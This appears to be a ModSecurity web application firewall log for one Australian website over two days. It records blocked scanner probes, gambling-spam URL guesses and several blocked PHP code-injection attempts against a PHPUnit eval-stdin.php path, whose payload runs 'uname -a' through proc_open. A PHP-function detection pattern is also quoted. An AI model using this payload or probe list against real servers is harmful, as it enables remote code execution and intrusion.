[Tue Feb 17 06:25:07.968782 2026] [:error] [pid 58558:tid 58642] [client 4.232.88.90:24435] [client 4.232.88.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOZQymIxlfUL2nViZy6twAAAJQ"]
[Tue Feb 17 06:32:50.074942 2026] [:error] [pid 58552:tid 58596] [client 49.51.47.100:50798] [client 49.51.47.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZObEjBHVJP2Oz3yR5fwGQAAAEE"]
[Tue Feb 17 07:16:38.384134 2026] [:error] [pid 58552:tid 58607] [client 217.182.195.140:41786] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZOlVjBHVJP2Oz3yR5cBHQAAAEw"]
[Tue Feb 17 07:16:43.145841 2026] [:error] [pid 32790:tid 32794] [client 217.182.195.140:39186] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZOlW3s3HJP9ozPHsN4EQgAAAQA"]
[Tue Feb 17 07:16:47.021663 2026] [:error] [pid 58551:tid 58573] [client 217.182.195.140:47248] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZOlX61t8eWr-MgFspqD4gAAAA0"]
[Tue Feb 17 07:16:50.742898 2026] [:error] [pid 58659:tid 58684] [client 217.182.195.140:47256] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZOlYsDX32iTEO4jt28R1QAAANc"]
[Tue Feb 17 07:16:54.049596 2026] [:error] [pid 58558:tid 58642] [client 217.182.195.140:47260] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZOlZimIxlfUL2nViZzTCwAAAJQ"]
[Tue Feb 17 08:41:33.553596 2026] [:error] [pid 58551:tid 58566] [client 49.234.192.248:46192] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZO5Pa1t8eWr-MgFspqsCQAAAAY"]
[Tue Feb 17 12:19:18.454729 2026] [:error] [pid 58558:tid 58640] [client 167.71.244.81:52292] [client 167.71.244.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZPsRimIxlfUL2nViZxdngAAAJI"]
[Tue Feb 17 17:47:19.162914 2026] [:error] [pid 58552:tid 58598] [client 54.37.252.119:49494] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZQ5JzBHVJP2Oz3yR5cDSwAAAEM"]
[Tue Feb 17 17:47:21.876635 2026] [:error] [pid 58552:tid 58617] [client 54.37.252.119:53324] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZQ5KTBHVJP2Oz3yR5cDUgAAAFY"]
[Tue Feb 17 17:47:25.693237 2026] [:error] [pid 58552:tid 58609] [client 54.37.252.119:53328] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZQ5LTBHVJP2Oz3yR5cDXAAAAE4"]
[Tue Feb 17 20:06:12.826420 2026] [:error] [pid 58659:tid 58672] [client 103.83.237.25:61237] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZtMDX32iTEO4jt29NdQAAAMs"]
[Tue Feb 17 20:06:13.186480 2026] [:error] [pid 2606:tid 2651] [client 103.83.237.25:61240] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZtVFV84PnUA8QSAir6gAAAlA"]
[Tue Feb 17 20:06:13.580295 2026] [:error] [pid 13106:tid 13123] [client 103.83.237.25:61244] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZtbBEWrYCV-0FRdoPBgAAAU0"]
[Tue Feb 17 20:06:14.421727 2026] [:error] [pid 58558:tid 58643] [client 103.83.237.25:61247] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZtimIxlfUL2nViZzzlwAAAJU"]
[Tue Feb 17 20:06:15.764473 2026] [:error] [pid 13106:tid 13128] [client 103.83.237.25:61275] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZt7BEWrYCV-0FRdoPCAAAAVI"]
[Tue Feb 17 20:06:16.527790 2026] [:error] [pid 58552:tid 58601] [client 103.83.237.25:61285] [client 103.83.237.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aZRZuDBHVJP2Oz3yR5cywAAAAEY"]
[Tue Feb 17 20:31:46.981644 2026] [:error] [pid 13106:tid 13114] [client 182.71.123.174:61569] [client 182.71.123.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.71.123.174, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZRfsrBEWrYCV-0FRdoVPAAAAUQ"]
[Tue Feb 17 21:03:37.901112 2026] [:error] [pid 13106:tid 13113] [client 175.6.217.4:57463] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZRnKbBEWrYCV-0FRdocpgAAAUM"]
[Tue Feb 17 22:41:53.347987 2026] [:error] [pid 58552:tid 58608] [client 150.109.46.88:60786] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZR-MTBHVJP2Oz3yR5dXGgAAAE0"]
[Wed Feb 18 03:13:37.386769 2026] [:error] [pid 2605:tid 2615] [client 51.75.119.153:47592] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZS94RliizaiVjfuA2DBaQAAAgc"]
[Wed Feb 18 03:13:41.075091 2026] [:error] [pid 2606:tid 2658] [client 51.75.119.153:59754] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZS95VFV84PnUA8QSAjxDAAAAlc"]
[Wed Feb 18 03:13:47.160480 2026] [:error] [pid 58659:tid 58666] [client 51.75.119.153:53688] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZS968DX32iTEO4jt2-OAAAAAMU"]
[Wed Feb 18 03:13:53.068056 2026] [:error] [pid 58552:tid 58600] [client 51.75.119.153:53704] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZS98TBHVJP2Oz3yR5eSDAAAAEU"]
[Wed Feb 18 03:13:57.419947 2026] [:error] [pid 58552:tid 58602] [client 51.75.119.153:53630] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZS99TBHVJP2Oz3yR5eSGQAAAEc"]
[Wed Feb 18 03:14:02.253501 2026] [:error] [pid 58552:tid 58595] [client 51.75.119.153:53642] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZS9-jBHVJP2Oz3yR5eSPgAAAEA"]
[Wed Feb 18 03:14:06.437560 2026] [:error] [pid 58552:tid 58616] [client 51.75.119.153:57986] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZS9_jBHVJP2Oz3yR5eSQgAAAFU"]
[Wed Feb 18 03:14:09.888520 2026] [:error] [pid 2727:tid 2743] [client 51.75.119.153:57988] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZS-ASIYJerZs7d7DPvLYwAAAo4"]
[Wed Feb 18 03:14:13.151706 2026] [:error] [pid 58551:tid 58577] [client 51.75.119.153:57994] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZS-Ba1t8eWr-MgFspoElgAAABE"]
[Wed Feb 18 03:14:15.832719 2026] [:error] [pid 58552:tid 58598] [client 51.75.119.153:55586] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZS-BzBHVJP2Oz3yR5eSSQAAAEM"]
[Wed Feb 18 03:14:18.494039 2026] [:error] [pid 2606:tid 2644] [client 51.75.119.153:55598] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZS-ClFV84PnUA8QSAjxLAAAAkk"]
[Wed Feb 18 03:14:21.546426 2026] [:error] [pid 58558:tid 58623] [client 51.75.119.153:55610] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZS-DSmIxlfUL2nViZxNJwAAAIE"]
[Wed Feb 18 03:14:24.610152 2026] [:error] [pid 13106:tid 13134] [client 51.75.119.153:40164] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZS-ELBEWrYCV-0FRdp7UgAAAVg"]
[Wed Feb 18 03:14:27.504177 2026] [:error] [pid 13106:tid 13114] [client 51.75.119.153:40168] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZS-E7BEWrYCV-0FRdp7VgAAAUQ"]
[Wed Feb 18 03:14:30.060917 2026] [:error] [pid 13106:tid 13113] [client 51.75.119.153:40182] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZS-FrBEWrYCV-0FRdp7WgAAAUM"]
[Wed Feb 18 03:14:52.331990 2026] [:error] [pid 2727:tid 2729] [client 51.75.119.153:40198] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZS-LCIYJerZs7d7DPvL4wAAAoA"]
[Wed Feb 18 03:14:54.949159 2026] [:error] [pid 13106:tid 13116] [client 51.75.119.153:40022] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZS-LrBEWrYCV-0FRdp7ngAAAUY"]
[Wed Feb 18 03:14:57.603648 2026] [:error] [pid 13106:tid 13129] [client 51.75.119.153:40026] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZS-MbBEWrYCV-0FRdp7pgAAAVM"]
[Wed Feb 18 03:15:00.565124 2026] [:error] [pid 2727:tid 2736] [client 51.75.119.153:40028] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZS-NCIYJerZs7d7DPvL6wAAAoc"]
[Wed Feb 18 03:15:03.100639 2026] [:error] [pid 58551:tid 58570] [client 51.75.119.153:40044] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZS-N61t8eWr-MgFspoE4QAAAAo"]
[Wed Feb 18 03:15:05.504558 2026] [:error] [pid 58558:tid 58636] [client 51.75.119.153:45664] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZS-OSmIxlfUL2nViZxNSgAAAI4"]
[Wed Feb 18 03:15:07.923600 2026] [:error] [pid 13106:tid 13121] [client 51.75.119.153:45680] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZS-O7BEWrYCV-0FRdp7sAAAAUs"]
[Wed Feb 18 03:15:10.312837 2026] [:error] [pid 42555:tid 42565] [client 51.75.119.153:45690] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZS-PvCCGB-bBphvas3zWwAAAYg"]
[Wed Feb 18 03:15:12.713778 2026] [:error] [pid 13106:tid 13119] [client 51.75.119.153:45696] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZS-QLBEWrYCV-0FRdp7uwAAAUk"]
